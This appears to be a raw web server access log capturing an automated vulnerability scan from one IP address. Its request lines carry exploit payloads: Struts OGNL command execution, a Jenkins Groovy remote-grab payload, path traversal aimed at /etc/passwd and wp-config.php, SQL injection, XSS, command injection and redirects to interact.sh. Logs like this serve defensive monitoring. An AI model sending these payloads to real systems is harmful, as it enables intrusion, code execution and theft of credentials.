[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload; HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/registration HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/external/7.0/system.System.get_infos HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /command.cgi?cat%20/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //cgi-bin/test HTTP/1.1" 199
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //secureader/javax.faces.resource/web.xml?loc=../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380CyEZ6aDJakZJB20VAiadWTQY.php%5Cx0A HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin.php HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /echo-server.html?code=test&state=http://www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /session/login HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5(2056168861))%23 HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosql/admin/info.php?key1=%27%20union%20select%20concat(md5(2054328904))%23 HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jkstatus; HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__raw/services/server/info/server-info?output_mode=json HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /nagiosql/admin/logbook.php HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.../.../.../.../.../.../.../.../.../windows/win.ini HTTP/1.1" 199
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152 HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /global-protect/login.esp?user=j%22;-alert(1)-%22x HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iwc/idcStateError.iwc?page=javascript%3aalert(document.domain)%2f%2f HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signup?next=http://interact.sh/?app.scan/ HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /poc.jsp?cmd=cat+%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent=\"%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5(999999999)),NULL,NULL,NULL,NULL,NULL--%20aa HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/380CxpDG1KrsqV2GRjscKq48bYb/)%3B%3C%2Fscript%3E%3C HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/380CyHm4qfGpVe2XpmK30MQj9Dk.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /enginemanager/server/logs/download?logType=error&logName=../../../../../../../../etc/passwd&logSource=engine HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /account HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tarantella/cgi-bin/secure/ttawlogin.cgi/?action=start&pg=../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/login.php?referer=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /nagiosql/admin/menuaccess.php HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../Windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/feedback.php/rp4hu%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E?aid=3 HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mantisBT/verify.php?id=1&confirm_hash HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sgdadmin/faces/com_sun_web_ui/help/helpwindow.jsp?windowTitle=AdministratorHelpWindow></TITLE></HEAD><body><script>alert(1337)</script><!--&>helpFile=concepts.html HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/upload.php HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /imcat/root/tools/adbug/binfo.php?phpinfo1 HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/wp-payeezy-pay/donate.php HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /en/php/usb_sync.php HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wicket/resource/nl.planon.pssm.dashboard.cre.engine.wicket.page.AbstractDashboardPage/html/nodata.html?nodatamsg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1 HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?q=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/jsmol2wp/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927376590 HTTP/1.1" -
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Admin HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /css//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows\\win.ini HTTP/1.1" 226
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jtagmembersdirectory&task=attachment&download_file=../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /soap.cgi?service=whatever-control;curl HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /config/pw_snmp_done.html HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?option=com_zhbaidumap&no_html=1&format=raw&task=getPlacemarkDetails HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/wp-security-audit-log/failed-logins/ HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redirector.php?url=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /anchor/errors.log HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /crowd/admin/uploadplugin.action HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/includes/status-list-mo%3Ciframe%20src%3D%22javascript%3Aalert%28document.domain%29%22%3E.vm HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?action=Login&module=Users&print=a&%22%2F%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tests/generate.php HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //cgi-bin/status/status.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /device.rsp?opt=user&cmd=list HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /demo/file/../../../../../../../../etc/passwd%00filename.mp4/chunk.m3u8?nimblesessionid=1484448 HTTP/1.1" 226
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/portlet/ext/common/page_preview_popup.jsp?hostname=evil.com HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/pprof/ HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/options-general.php?page=smartcode HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/cores?wt=json HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webtools/control/xmlrpc HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /...%5C...%5C...%5C...%5C...%5C...%5C...%5C...%5C...%5Cwindows%5Cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /NateMail.php HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_prayercenter&task=confirm&id=1&sessionid=1'+AND+EXTRACTVALUE(22,CONCAT(0x7e,md5(861746687)))--+X HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5cgoogle.com/evil.html HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /printenv.shtml?%3Cscript%3Ealert%281683580282%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /http%3A%2F%2Fwww.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /timesheet/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?m=search&c=index&a=initxqb4n<img%20src%3da%20onerror%3dalert(document.domain)>cu9rs&modelid=1&q=tes HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /GponForm/diag_Form?images/ HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /board/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/filemanager?path=%2F..%2f..%2fContent HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=</script>\"><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW HTTP/1.1" 199
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /whoAmI/ HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/queues.jsp?QueueFilter=yu1ey%22%3e%3cscript%3ealert(%221%22)%3c%2fscript%3eqb68 HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?action%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ws_utc/resources/setting/options HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_next/../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/non-CA-rev?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/scripts/login_par.js HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/bamegamenu/ajax_phpcode.php?code=print(md5(999999999)) HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/downmix.inc.php HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /node_modules/../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/complexassetmaker&cs_imagedir=qqq\"><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.../.../.../.../.../.../.../.../.../windows/win.ini HTTP/1.1" 199
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1" 226
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tag_test_action.php?url=a&token&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede:field} HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wan.htm HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //secureader/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /checkValid HTTP/1.1" 196
